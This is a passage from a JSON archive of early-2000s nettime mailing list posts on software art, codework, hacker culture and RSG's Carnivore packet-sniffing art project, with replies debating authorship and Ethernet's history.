an open space in which imagination =\ncan breathe. As theorist Matthew Fuller described Linker, 'It relies on =\nthe simple function of doing exactly what the name says it does - link =\nthings. Here, the poetics of connection forms a techno-aesthetic and =\nexistential a priori to the construction of a piece of software.' This =\naesthetic is made explicit when the software is first launched - it =\ndisplays a map image of its three by three grid of interconnected =\nregions. Linker is constructed around this image of itself that =\ncommunicates and instantiates its underlying algorithmic structure, =\ncreative use and conceptual model. It is this figuration of itself as an =\nidea that makes Linker art as well as software.\n\nThe debate about Linker was unfortunately always limited to its mode of =\nproduction and the social constituency of its intended user group as =\nthough it had been designed as a tool of social engineering, ready to =\narise fully formed out of a sub-menu check-box list of community =\n'needs'. But discussions of DIY empowerment, Open Source and the =\n'sociability' of software are presumptuous without any attention to the =\ncontext in which imaginative ideas can grow. When we look at the kinds =\nof applications that have actually resulted from Linux we simply see =\ncopies of standard Microsoft functionality. The Open Source model of =\nproduction is a dead end without an equivalent 'model of creativity', =\ndefaulting instead to a wannabe culture. Instead we should look for =\ninspiration in practices that could nourish a poetics of data =\n'copyability' such as plagiarism and detournement, as noted by writer =\nJosephine Berry. But unfortunately free software developers do not =\nprioritise this aesthetic context which is what has the power to =\ndetermine whether software will enable or restrain its user's =\nperceptions and mode of action.=20\n\nIt is not a matter of the different technical abilities of software or =\nof how much it costs, but of how easily a technical potential can be =\nperceived by the user in a way that motivates engagement. When software =\nis written, choices must be made about which data fields carry value, =\nhow the display of information forms contours of meaning, how the =\nmodelling of the interface moulds the subjectivity of the user. The =\nquestion of whether artists should learn to program is replaced by the =\nquestion of what kind of programming. Which programming practice has the =\nmost 'open aesthetic', capable of making software that is not just the =\nproduct of an arbitrary confluence of techniques or a slavish mimicry =\nbut is aware of all its possible formative cultural and philosophical =\ncategories and values.\n\nFor the first generation of artist programmers there was hardly any =\ninformation society in existence, certainly not one within reach. In the =\nearly eighties during a period when the launch of the personal computer =\nmarked a radical shift in computer culture, artist Harold Cohen stressed =\nthe importance of asking the right questions. Now that we live in a =\nworld in which his AARON program is downloadable as a screen saver it is =\ntime for us to extend his question - 'Don't ask what the software can =\ndo, ask what it can do to other software.'\n\nURLS:\nAuto-Illustrator: www.auto-illustrator.com\nJoshua Davis: www.joshuadavis.com\nLinker & 9: www.linker.org.uk, 9.waag.org\nAARON screensaver: www.kurzweilcyberart.com\n\nAcknowledgement\nThis article was based on research supported by a grant from the Arts =\nand Humanities Research Board.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 18 Oct 2004 21:07:27 +0100",
                "to": "\"nettime\" <nettime-l {AT} bbs.thing.net>",
                "message-id": "E1CJsjB&#45;0003MW&#45;6w {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0410/msg00036.html",
                "list": "nettime_l",
                "author_name": "Richard",
                "subject": "<nettime> Software Art After Programming"
            },
            {
                "id": "00133",
                "content": "\nken,\n\nthis thread was still hanging around ... i want to take issue with your\nclaim that the codework you reference is an example of collaborative,\nnon-identity oriented practice.\n\n>Codework makes of\n>writing a media art that breaks with the fetishism of the text and the\n>abstraction of language. It brings writing into contact with the other\n>branches of media art, such as music and cinema, all of which are\n>converging in the emerging space of multimedia, and which often have a\n>richer conception of the politics of media art as a collaborative practice\n>than has been the case with writing conceived within the prison-house of\n>\"text.\"\n\ni fully respect your examples as artistic/literary practices, but in what\nway are jodi, mez, antiorp/nn, sondheim etc. representatives of open\nprocesses? jodi's work is good _because_  jo&di have the code under\ncontrol, just as mez is an _author_, machine-aided, style-enhanced, yes,\nbut an author. just as antiorp/nn - the most collaborative entity in the\nseries, i guess - poses as one; we all know they are several, but they\nexhibit a clear sense of ideological tightness and closure. the identities\nmay be fictional, but i don't see that any of these breaks out of the\nidentity shell. nn might be the best gamer, but its insults are too much\nfor my stomach. [she'll call me a weak imbecile for this remark, won't you,\ndear?]\n\nwhat you describe are machinic processes, yes, but the kinds of\ncollaborative practices that heico idensen talks about (in the hypertext\nworld mainly) - i don't see them in your codework examples. is artistic\ncodework more authorial than open source programming?\n\ngreetings,\n-a\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0110/msg00133.html",
                "list": "nettime_l",
                "author_name": "Andreas Broeckmann",
                "subject": "Re: <nettime> from hypertext to codework",
                "from": "Andreas Broeckmann <abroeck {AT} transmediale.de>",
                "follow-up": [
                    {
                        "from": "Alan Sondheim <sondheim {AT} panix.com>",
                        "content": "\nThere is collaboration in a number of ways. None of us (examples you give)\noperate or produce in a vacuum; my work often requires assistance or col-\nlaboration, to the extent that \"my\" becomes suspect. The identities I work\nwith - \"Nikuko\" and others - are also disseminations across other\npractices (IRC, newsgroups, email lists, etc.) and others have also taken/\nused the name. There were also projects created for the trAce online\nwriting group which were all collaborations in the traditional sense; one\nof them, Lost, is still running.\n\nThen there is also a question of nettime; what I place on nettime (and\nthis may be true of others you mention) is what nettime accepts; the\ncollaborative dance/bodywork has no place or room here; this is also true\nfor most of the directory material on the cdroms. An email is almost\nalways signed, leaving its trace; it is a trail which almost literally\nhystericizes its identity function in the full header. And again, this\naffects, if not effects, what any of us are capable of doing in this\nmedium.\n\nAlan -\n\nInternet text at http://www.anu.edu.au/english/internet_txt\nPartial at http://lists.village.virginia.edu/~spoons/internet_txt.html\nTrace Projects at http://trace.ntu.ac.uk/writers/sondheim/index.htm\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00137",
                        "date": "Wed, 24 Oct 2001 17:49:03 -0400 (EDT)",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200110250316.XAA08786 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0110/msg00137.html",
                        "content-type": "text/plai",
                        "author_name": "Alan Sondheim",
                        "subject": "Re: <nettime> from hypertext to codework"
                    },
                    {
                        "from": "\"McKenzie Wark\" <mckenziewark {AT} hotmail.com>",
                        "content": "\n\nAndreas writes,\n\n>i fully respect your examples as artistic/literary practices, but in what \n>way are jodi, mez, antiorp/nn, sondheim etc. >representatives of open \n>processes?... what you describe are machinic processes, yes, but the kinds \n>of collaborative practices that heico >idensen talks about (in the \n>hypertext world mainly) - i don't see them in your codework examples. is \n>artistic codework more authorial than open source programming?\n\n\nWell, isn't this a collaborative process, this discussion? Isn't\nnettime \"collaborative filtering?\" There's some limitations in what\nthe examples given might uphold. Its not as if everything is in\nthe text. I'm more interested in a new way of thinking about the\npractice of writing.\n\nSemiotics and structural linguistics have a lot to answer for. They\ncreated a concept of language as a homogemous plane, which then\nentered into relations with the world as something external.\n\nWhat's interesting about Guattari is the anti-linguistics in which\none thinks of the speech act as an element in a heterogeneous,\ntemporal series. It seems to me timely to think of some of the new\nwriting practices in those terms.\n\nHypertext had its roots firmly in a (post)structural linguistics,\nand it shows in the early works composed under its sign. All the\naction is in the 'text'. There's not a lot of thought about\nthe hetereogeneous assemblages into which it might enter.\n\nk\n\n___________________________________________________\n\nhttp://www.feelergauge.net/projects/hackermanifesto/version_2.0/\n                   ... we no longer have roots, we have aerials ...\n___________________________________________________\n\n\n_________________________________________________________________\nGet your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00176",
                        "date": "Wed, 31 Oct 2001 11:21:28 -0500",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200110312139.QAA30859 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0110/msg00176.html",
                        "content-type": "text/plai",
                        "author_name": "McKenzie Wark",
                        "subject": "Re: <nettime> from hypertext to codework"
                    }
                ],
                "message-id": "20011024114349.D23281 {AT} bbs.thing.net",
                "date": "Wed, 24 Oct 2001 11:43:49 -0400",
                "content-type": "text/plai"
            },
            {
                "id": "00088",
                "content": "\nHow We Made Our Own \"Carnivore\"\nBy RSG\n\n\t\"Disobedience to authority is one of the most natural and\n\thealthy acts.\"\n\t--Empire, Hardt & Negri\n\nEthernet was invented at the University of Hawaii. Scientists there in\nthe early 1970s faced a unique problem: How to network different\ncampuses, each on different islands separated by water. The solution was\nto use the free airwaves, to transmit data through the air, or \"ether,\"\nusing radio. There were no wires. Like a radio station, each node sent\nmessages broadly over the sea to other islands. A protocol was developed\nto avoid collision between simultaneous communications. Ever since,\nEthernet has been based on an open transmission model. The protocol\ntranslated well to wire-based networks too, and is now the most widely\nused local networking protocol in the world.\n\nSince Ethernet is based on an open broadcast model, it is trivial for\nlisteners to make themselves \"promiscuous\" and eavesdrop on all\ncommunications, not simply those specifically addressed to them. This\ntechnique is called packet-sniffing and has been used by systems\nadministrators and hackers alike for decades. Ethernet, sniffers, and\nhacking are at heart of a public domain surveillance suite called\nCarnivore (http://rhizome.org/carnivore) developed by RSG and now used\nin a civilian context by many artists and scientists around the world.\n\nHacking\n\nToday there are generally two things said about hackers. They are either\nterrorists or libertarians. Historically the word meant an amateur\ntinkerer, an autodictat who might try a dozen solutions to a problem\nbefore eking out success.[1] Aptitude and perseverance have always\neclipsed rote knowledge in the hacking community. Hackers are the type\nof technophiles you like to have around in a pinch, for given enough\ntime they generally can crack any problem (or at least find a suitable\nkludge). Thus, as Bruce Sterling writes, the term hacker \"can signify\nthe free-wheeling intellectual exploration of the highest and deepest\npotential of computer systems.\"[2] Or as the glowing Steven Levy\nreminisces of the original MIT hackers of the early sixties, \"they were\nsuch fascinating people. [...] Beneath their often unimposing exteriors,\nthey were adventurers, visionaries, risk-takers, artists...and the ones\nwho most clearly saw why the computer was a truly revolutionary\ntool.\"[3] These types of hackers are freedom fighters, living by the\ndictum that data wants to be free.[4] Information should not be owned,\nand even if it is, non-invasive browsing of such information hurts no\none. After all, hackers merely exploit preexisting holes made by\nclumsily constructed code.[5] And wouldn't the revelation of such holes\nactually improve data security for everyone involved?\n\nYet after a combination of public technophobia and aggressive government\nlegislation, the identity of the hacker changed in the US in the mid to\nlate eighties from do-it-yourself hobbyist to digital outlaw.[6] Such\nlegislation includes the Computer Fraud and Abuse Act of 1986 which made\nit a felony to break into federal computers. \"On March 5, 1986,\"\nreported Knight Lightning of Phrack magazine, \"the following seven\nphreaks were arrested in what has come to be known as the first computer\ncrime `sting' operation. Captain Hacker \\ Doctor Bob \\ Lasertech \\ The\nAdventurer [\\] The Highwayman \\ The Punisher \\ The Warden.\"[7] \"[O]n\nTuesday, July 21, 1987,\" Knight Lightning continued, \"[a]mong 30-40\nothers, Bill From RNOC, Eric NYC, Solid State, Oryan QUEST, Mark\nGerardo, The Rebel, and Delta-Master have been busted by the United\nStates Secret Service.\"[8] Many of these hackers were targeted due to\ntheir \"elite\" reputations, a status granted only to top hackers. Hackers\nwere deeply discouraged by their newfound identity as outlaws, as\nexemplified in the famous 1986 hacker manifesto written by someone\ncalling himself[9] The Mentor: \"We explore... and you call us criminals.\nWe seek after knowledge... and you call us criminals.\"[10] Because of\nthis semantic transformation, hackers today are commonly referred to as\nterrorists, nary-do-wells who break into computers for personal gain. So\nby the turn of the millennium, the term hacker had lost all of its\noriginal meaning. Now when people say hacker, they mean terrorist.\n\nThus, the current debate on hackers is helplessly throttled by the\ndiscourse on contemporary liberalism: should we respect data as private\nproperty, or should we cultivate individual freedom and leave computer\nusers well enough alone? Hacking is more sophisticated than that. It\nsuggests a future type of cultural production, one that RSG seeks to\nembody in Carnivore.\n\nCollaboration\n\nBruce Sterling writes that the late Twentieth Century is a moment of\ntransformation from a modern control paradigm based on centralization\nand hierarchy to a postmodern one based on flexibility and\nhorizontalization:\n\n\t\"For years now, economists and management theorists have\n\tspeculated that the tidal wave of the information revolution\n\twould destroy rigid, pyramidal bureaucracies, where everything\n\tis top-down and centrally controlled. Highly trained \"employees\"\n\twould take on greater autonomy, being self-starting and self-\n\tmotivating, moving from place to place, task to task, with great\n\tspeed and fluidity. \"Ad-hocracy\" would rule, with groups of\n\tpeople spontaneously knitting together across organizational\n\tlines, tackling the problem at hand, applying intense computer-\n\taided expertise to it, and then vanishing whence they came.\"[11]\n\n From Manuel Castells to Hakim Bey to Tom Peters this rhetoric has become\ncommonplace. Sterling continues by claiming that both hacker groups and\nthe law enforcement officials that track hackers follow this new\nparadigm: \"they all look and act like `tiger teams' or `users' groups.'\nThey are all electronic ad-hocracies leaping up spontaneously to attempt\nto meet a need.\"[12] By \"tiger teams\" Sterling refers to the employee\ngroups assembled by computer companies trying to test the security of\ntheir computer systems. Tiger teams, in essence, simulate potential\nhacker attacks, hoping to find and repair security holes. RSG is a type\nof tiger team.\n\nThe term also alludes to the management style known as Toyotism\noriginating in Japanese automotive production facilities. Within\nToyotism, small pods of workers mass together to solve a specific\nproblem. The pods are not linear and fixed like the more traditional\nassembly line, but rather are flexible and reconfigurable depending on\nwhatever problem might be posed to them.\n\nManagement expert Tom Peters notes that the most successful contemporary\ncorporations use these types of tiger teams, eliminating traditional\nhierarchy within the organizational structure. Documenting the\nmanagement consulting agency McKinsey & Company, Peters writes:\n\"McKinsey is a huge company. Customers respect it. [...] But there is no\ntraditional hierarchy. There are no organizational charts. No job\ndescriptions. No policy manuals. No rules about managing client\nengagements. [...] And yet all these things are well understood-make no\nmistake, McKinsey is not out of control! [...] McKinsey works. It's\nworked for over half a century.\"[13]\n\nAs Sterling suggests, the hacker community also follows this\norganizational style. Hackers are autonomous agents that can mass\ntogether in small groups to attack specific problems. As the influential\nhacker magazine Phrack was keen to point out, \"ANYONE can write for\nPhrack Inc. [...] we do not discriminate against anyone for any\nreason.\"[14] Flexible and versatile, the hacker pod will often dissolve\nitself as quickly as it formed and disappear into the network. Thus,\nwhat Sterling and others are arguing is that whereby older resistive\nforces were engaged with \"rigid, pyramidal bureaucracies,\" hackers\nembody a different organizational management style (one that might be\ncalled \"protocological\"). In this sense, while resistance during the\nmodern age forms around rigid hierarchies and bureaucratic power\nstructures, resistance during the postmodern age forms around the\nprotocological control forces existent in networks.\n\nCoding\n\nIn 1967 the artist Sol LeWitt outlined his definition of conceptual art:\n\n\t\"In conceptual art the idea or concept is the most important\n\taspect of the work. When an artist uses a conceptual form of\n\tart, it means that all of the planning and decisions are made\n\tbeforehand and the execution is a perfunctory affair. The idea\n\tbecomes a machine that makes the art.\"[15]\n\nLeWitt's perspective on conceptual art has important implications for\ncode, for in his estimation conceptual art is nothing but a type of code\nfor artmaking. LeWitt's art is an algorithmic process. The algorithm is\nprepared in advance, and then later executed by the artist (or another\nartist, for that matter). Code thus purports to be multidimensional.\nCode draws a line between what is material and what is active, in\nessence saying that writing (hardware) cannot do anything, but must be\ntransformed into code (software) to be affective. Northrop Frye says a\nvery similar thing about language when he writes that the process of\nliterary critique essentially creates a meta text, outside of the\noriginal source material, that contains the critic's interpretations of\nthat text.[16] In fact Kittler defines software itself as precisely that\n\"logical abstraction\" that exists in the negative space between people\nand the hardware they use.[17]\n\nHow can code be so different than mere writing? The answer to this lies\nin the unique nature of computer code. It lies not in the fact that code\nis sub-linguistic, but rather that it is hyper-linguistic. Code is a\nlanguage, but a very special kind of language. Code is the only language\nthat is executable. As Kittler has pointed out, \"[t]here exists no word\nin any ordinary language which does what it says. No description of a\nmachine sets the machine into motion.\"[18] So code is the first language\nthat actually does what it says-it is a machine for converting meaning\ninto action.[19] Code has a semantic meaning, but it also has an\nenactment of meaning. Thus, while natural languages such as English or\nLatin only have a legible state, code has both a legible state and an\nexecutable state. In this way, code is the summation of language plus an\nexecutable meta-layer that encapsulates that language.\n\nDreaming\n\nFredric Jameson said somewhere that one of the most difficult things to\ndo under contemporary capitalism is to envision utopia. This is\nprecisely why dreaming is important. Deciding (and often struggling) for\nwhat is possible is the first step for a utopian vision based in our\ndesires, based in what we want.\n\nPierre L\u00e9vy is one writer who has been able to articulate eloquently the\npossibility of utopia in the cyberspace of digital computers.[20]\n\"Cyberspace,\" he writes, \"brings with it methods of perception, feeling,\nremembering, working, of playing and being together. [...] The\ndevelopment of cyberspace [...] is one of the principle aesthetic and\npolitical challenges of the coming century.\"[21] L\u00e9vy's visionary tone\nis exactly what Jameson warns is lacking in much contemporary discourse.\nThe relationship between utopia and possibility is a close one. It is\nnecessary to know what one wants, to know what is possible to want,\nbefore a true utopia may be envisioned.\n\nOnce of the most important signs of this utopian instinct is the hacking\ncommunity's anti-commercial bent. Software products have long been\ndeveloped and released into the public domain, with seemingly no profit\nmotive on the side of the authors, simply for the higher glory of the\ncode itself. \"Spacewar was not sold,\" Steven Levy writes, referring to\nthe early video game developed by several early computer enthusiasts at\nMIT. \"Like any other program, it was placed in the drawer for anyone to\naccess, look at, and rewrite as they saw fit.\"[22] The limits of\npersonal behavior become the limits of possibility to the hacker. Thus,\nit is obvious to the hacker that one's personal investment in a specific\npiece of code can do nothing but hinder that code's overall development.\n\"Sharing of software [...] is as old as computers,\" writes free software\nguru Richard Stallman, \"just as sharing of recipes is as old as\ncooking.\"[23] Code does not reach its apotheosis for people, but exists\nwithin its own dimension of perfection. The hacker feels obligated to\nremove all impediments, all inefficiencies that might stunt this quasi-\naesthetic growth. \"In its basic assembly structure,\" writes Andrew Ross,\n\"information technology involves processing, copying, replication, and\nsimulation, and therefore does not recognize the concept of private\ninformation property.\"[24] Commercial ownership of software is the\nprimary impediment hated by all hackers because it means that code is\nlimited-limited by intellectual property laws, limited by the profit\nmotive, limited by corporate \"lamers.\"\n\nHowever, greater than this anti-commercialism is a pro-protocolism.\nProtocol, by definition, is \"open source,\" the term given to a\ntechnology that makes public the source code used in its creation. That\nis to say, protocol is nothing but an elaborate instruction list of how\na given technology should work, from the inside out, from the top to the\nbottom, as exemplified in the RFCs, or \"Request For Comments\" documents.\nWhile many closed source technologies may appear to be protocological\ndue to their often monopolistic position in the market place, a true\nprotocol cannot be closed or proprietary. It must be paraded into full\nview before all, and agreed to by all. It benefits over time through its\nown technological development in the public sphere. It must exist as\npure, transparent code (or a pure description of how to fashion code).\nIf technology is proprietary it ceases to be protocological.\n\nThis brings us back to Carnivore, and the desire to release a public\ndomain version of a notorious surveillance tool thus far only available\nto government operatives. The RSG Carnivore levels the playing field,\nrecasting art and culture as a scene of multilateral conflict rather\nthan unilateral domination. It opens the system up for collaboration\nwithin and between client artists. It uses code to engulf and modify the\noriginal FBI apparatus.\n\nCarnivore Personal Edition\n\nOn October 1, 2001, three weeks after the 9/11 attacks in the US, the\nRadical Software Group (RSG) announced the release of Carnivore, a\npublic domain riff on the notorious FBI software called DCS1000 (which\nis commonly referred to by its nickname \"Carnivore\"). While the FBI\nsoftware had already been in existence for some time, and likewise RSG\nhad been developing it's version of the software since January 2001,\n9/11 brought on a crush of new surveillance activity. Rumors surfaced\nthat the FBI was installing Carnivore willy-nilly on broad civilian\nnetworks like Hotmail and AOL with the expressed purpose of intercepting\nterror-related communication. As Wired News reported on September 12,\n2001, \"An administrator at one major network service provider said that\nFBI agents showed up at his workplace on [September 11] `with a couple\nof Carnivores, requesting permission to place them in our core.'\"\nOfficials at Hotmail were reported to have been \"cooperating\" with FBI\nmonitoring requests. Inspired by this activity, the RSG's Carnivore\nsought to pick up where the FBI left off, to bring this technology into\nthe hands of the general public for greater surveillance saturation\nwithin culture. The first RSG Carnivore ran on Linux. An open source\nschematic was posted on the net for others to build their own boxes. New\nfunctionality was added to improve on the FBI-developed technology\n(which in reality was a dumbed-down version of tools systems\nadministrators had been using for years). An initial core (Alex\nGalloway, Mark Napier, Mark Daggett, Joshua Davis, and others) began to\nbuild interpretive interfaces. A testing venue was selected: the private\noffices of Rhizome.org at 115 Mercer Street in New York City, only 30\nblocks from Ground Zero. This space was out-of-bounds to the FBI, but\nopen to RSG.\n\nThe initial testing proved successful and led to more field-testing at\nthe Princeton Art Museum (where Carnivore was quarantined like a virus\ninto its own subnet) and the New Museum in New York. During the weekend\nof February 1st 2002, Carnivore was used at Eyebeam to supervise the\nhacktivists protesting the gathering of the World Economic Forum.\n\nSensing the market limitations of a Linux-only software product, RSG\nreleased Carnivore Personal Edition (PE) for Windows on April 6, 2002.\nCarnivorePE brought a new distributed architecture to the Carnivore\ninitiative by giving any PC user the ability to analyze and diagnose the\ntraffic from his or her own network. Any artist or scientist could now\nuse CarnivorePE as a surveillance engine to power his or her own\ninterpretive \"Client.\" Soon Carnivore Clients were converting network\ntraffic to sound, animation, and even 3D worlds, distributing the\ntechnology across the network.\n\nThe prospect of reverse-engineering the original FBI software was\nuninteresting to RSG. Crippled by legal and ethical limitations, the FBI\nsoftware needed improvement not emulation. Thus CarnivorePE features\nexciting new functionality including artist-made diagnosic clients,\nremote access, full subject targetting, full data targetting, volume\nbuffering, transport protocol filtering, and an open source software\nlicense. Reverse-engineering is not necessarily a simple mimetic\nprocess, but a mental upgrade as well. RSG has no desire to copy the FBI\nsoftware and its many shortcomings. Instead, RSG longs to inject\nprogressive politics back into a fundamentally destabilizing and\ntransformative technology, packet sniffing. Our goal is to invent a new\nuse for data surveillance that breaks out of the hero/terrorist dilemma\nand instead dreams about a future use for networked data.\n\nhttp://rhizome.org/carnivore/\n\n-------------------------------------------------------------------------\n\n[1] Robert Graham traces the etymology of the term to the sport of golf:\n\"The word `hacker' started out in the 14th century to mean somebody who\nwas inexperienced or unskilled at a particular activity (such as a golf\nhacker). In the 1970s, the word `hacker' was used by computer\nenthusiasts to refer to themselves. This reflected the way enthusiasts\napproach computers: they eschew formal education and play around with\nthe computer until they can get it to work. (In much the same way, a\ngolf hacker keeps hacking at the golf ball until they get it in the\nhole)\" (http://www.robertgraham.com/pubs/hacking-dict.html).\n\n[2] Bruce Sterling The Hacker Crackdown (New York: Bantam, 1992), p. 51.\nSee also Hugo Cornwall's Hacker's Handbook (London: Century, 1988),\nwhich characterizes the hacker as a benign explorer. Cornwall's position\nhighlights the differing attitudes between the US and Europe, where\nhacking is much less criminalized and in many cases prima facie legal.\n\n[3] Steven Levy, Hackers: Heroes of the Computer Revolution (New York:\nAnchor Press/Doubleday, 1984), p. ix.\n\n[4] This slogan is attributed to Stewart Brand, who wrote that \"[o]n the\none hand information wants to be expensive, because it's so valuable.\nThe right information in the right place just changes your life. On the\nother hand, information wants to be free, because the cost of getting it\nout is getting lower and lower all the time. So you have these two\nfighting against each other.\" See Whole Earth Review, May 1985, p. 49.\n\n[5] Many hackers believe that commercial software products are less\ncarefully crafted and therefore more prone to exploits. Perhaps the most\ninfamous example of such an exploit, one which critiques software's\ngrowing commercialization, is the \"BackOrifice\" software application\ncreated by the hacker group Cult of the Dead Cow. A satire of\nMicrosoft's \"Back Office\" software suite, BackOrifice acts as a Trojan\nHorse to allow remote access to personal computers running Microsoft's\nWindows operating system.\n\n[6] For an excellent historical analysis of this transformation see\nSterling's The Hacker Crackdown. Andrew Ross explains this\ntransformation by citing, as do Sterling and others, the increase of\ncomputer viruses in the late eighties, especially \"the viral attack\nengineered in November 1988 by Cornell University hacker Robert Morris\non the national network system Internet. [.] While it caused little in\nthe way of data damage [.], the ramifications of the Internet virus have\nhelped to generate a moral panic that has all but transformed everyday\n`computer culture.'\" See Andrew Ross, Strange Weather: Culture, Science,\nand Technology in the Age of Limits (New York: Verso, 1991), p. 75.\n\n[7] Knight Lightning, \"Shadows Of A Future Past,\" Phrack, vol. 2, no.\n21, file 3.\n\n[8] Knight Lightning, \"The Judas Contract,\" Phrack, vol. 2, no. 22, file\n3.\n\n[9] While many hackers use gender neutral pseudonyms, the online\nmagazine Phrack, with which The Mentor was associated, was characterized\nby its distinctly male staff and readership. For a sociological\nexplanation of the gender imbalance within the hacking community, see\nPaul Taylor, Hackers: Crime in the digital sublime (New York: Routledge,\n1999), pp. 32-42.\n\n[10] The Mentor, \"The Conscience of a Hacker,\" Phrack, vol. 1, no. 7,\nfile 3.  http://www.iit.edu/~beberg/manifesto.html\n\n[11] Sterling, The Hacker Crackdown, p. 184.\n\n[12] Ibid.\n\n[13] Tom Peters, Liberation Management: Necessary Disorganization for\nthe Nanosecond Nineties (New York: Knopf, 1992), pp. 143-144. An older,\nmore decentralized (rather than distributed) style of organizational\nmanagement is epitomized by Peter Drucker's classic analysis of General\nMotors in the thirties and forties. He writes that \"General Motors\nconsiders decentralization a basic and universally valid concept of\norder.\" See Peter Drucker, The Concept of the Corporation (New\nBrunswick: Transaction, 1993), p. 47.\n\n[14] \"Introduction,\" Phrack, v. 1, no. 9, phile [sic] 1.\n\n[15] Sol LeWitt, \"Paragraphs on Conceptual Art,\" in Alberro, et al.,\neds., Conceptual Art: A Critical Anthology (Cambridge: MIT Press, 1999),\np. 12. Thanks to Mark Tribe for bring this passage to my attention.\n\n[16] See Northrop Frye, Anatomy of Criticism (Princeton: Princeton UP,\n1957). See also Fredric Jameson's engagement with this same subject in\n\"From Metaphor to Allegory\" in Cynthia Davidson, Ed., Anything\n(Cambridge: MIT Press, 2001).\n\n[17] Friedrich Kittler, \"On the Implementation of Knowledge-Toward a\nTheory of Hardware,\" nettime\n(http://www.nettime.org/nettime.w3archive/199902/msg00038.html).\n\n[18] Kittler, \"On the Implementation of Knowledge.\"\n\n[19] For an interesting commentary on the aesthetic dimensions of this\nfact see Geoff Cox, Alex McLean and Adrian Ward's \"The Aesthetics of\nGenerative Code\" (http://sidestream.org/papers/aesthetics/).\n\n[20] Another is the delightfully schizophrenic Ted Nelson, inventor of\nhypertext. See Computer Lib/Dream Machines (Redmond, WA:\nTempus/Microsoft, 1987).\n\n[21] Pierre L\u00e9vy, L'intelligence collective: Pour une anthropologie du\ncyberspace (Paris: \u00c9ditions la D\u00e9couverte, 1994), p. 120, translation\nmine.\n\n[22] Levy, Hackers, p. 53. In his 1972 Rolling Stone article on the\ngame, Steward Brand went so far as to publish Alan Kay's source code for\nSpacewar right along side his own article, a practice rarely seen in\npopular publications. See Brand, \"SPACEWAR,\" p. 58.\n\n[23] Richard Stallman, \"The GNU Project,\" available online at\nhttp://www.gnu.org/gnu/thegnuproject.html and in Chris Dibona (Editor),\net al, Open Sources: Voices from the Open Source Revolution (Sebastopol,\nCA: O'Reilly, 1999).\n\n[24] Ross, Strange Weather, p. 80.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00088.html",
                "list": "nettime_l",
                "author_name": "RSG",
                "subject": "<nettime> How We Made Our Own \"Carnivore\"",
                "from": "RSG <rsg {AT} rhizome.org>",
                "follow-up": [
                    {
                        "from": "Morlock Elloi <morlockelloi {AT} yahoo.com>",
                        "content": "\n> Ethernet was invented at the University of Hawaii. Scientists there in\n> the early 1970s faced a unique problem: How to network different\n> campuses, each on different islands separated by water. The solution was\n\nNonsense.\n\nI fart in your general direction with indignation.\n\nFacts:\n\n1970 - N. Abramson at the University of Hawaii designed ALOHA, ground based\nradio packet network.\n\n1972 Roberts, also of UoH, improved the bandwith by using time slots - \"Slotted\nALOHA\".\n\n1976 - Metcalfe and Boggs of Xerox PARC (Palo Alto, CA) published a description\nof a coaxial cable network, Ethernet.\n\n\n\n=====\nend\n(of original message)\n\nY-a*h*o-o (yes, they scan for this) spam follows:\n\n__________________________________________________\nDo You Yahoo!?\nYahoo! - Official partner of 2002 FIFA World Cup\nhttp://fifaworldcup.yahoo.com\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00092",
                        "date": "Mon, 17 Jun 2002 21:28:20 -0700 (PDT)",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200206181650.MAA22351 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00092.html",
                        "content-type": "text/plai",
                        "author_name": "Morlock Elloi",
                        "subject": "Re: <nettime> How We Made Our Own \"Carnivore\""
                    },
                    {
                        "from": "Andreas Broeckmann <abroeck {AT} transmediale.de>",
